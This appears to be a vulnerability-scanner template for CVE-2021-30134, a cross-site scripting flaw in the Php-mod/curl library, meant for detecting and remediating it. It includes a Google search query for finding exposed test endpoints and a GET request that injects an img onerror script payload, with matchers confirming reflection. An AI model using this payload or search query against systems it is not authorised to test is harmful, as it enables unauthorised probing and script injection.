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id : CVE-2021-30134
info :
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name : Php-mod/curl Library <2.3.2 - Cross-Site Scripting
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author : theamanrawat
severity : medium
description : |
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Php-mod/curl library before 2.3.2 contains a cross-site scripting vulnerability via the post_file_path_upload.php key parameter and the POST data to post_multidimensional.php. An attacker can inject arbitrary script, which can allow theft of cookie-based authentication credentials and launch of other attacks.
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remediation : |
Upgrade to Php-mod/curl Library version 2.3.2 or later to mitigate the vulnerability.
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reference :
- https://wpscan.com/vulnerability/0b547728-27d2-402e-ae17-90d539344ec7
- https://nvd.nist.gov/vuln/detail/CVE-2021-30134
classification :
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cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
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cve-id : CVE-2021-30134
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cwe-id : CWE-79
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epss-score : 0.00078
epss-percentile : 0.32966
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cpe : cpe:2.3:a:php_curl_class_project:php_curl_class:*:*:*:*:*:*:*:*
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metadata :
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verified : true
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max-request : 1
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vendor : php_curl_class_project
product : php_curl_class
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google-query : inurl:"/php-curl-test/post_file_path_upload.php"
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tags : cve,cve2021,xss,php-mod,wpscan
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http :
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- method : GET
path :
- "{{BaseURL}}/vendor/curl/curl/tests/server/php-curl-test/post_file_path_upload.php?key=<img%20src%20onerror%3dalert(document.domain)>"
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matchers-condition : and
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matchers :
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- type : word
words :
- 'key":"<img src onerror=alert(document.domain)>"'
- type : word
part : header
words :
- text/html
- type : status
status :
- 200
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# digest: 490a004630440220722f1f30f86acf394144afc2e2120f2d95dc48a5181f3d64bce56addecda64260220588f21ae7a82093235a734e4b869bf90f9e4cbf1c05ab926447156f6f180e6b7:922c64590222798bb761d5b6d8e72950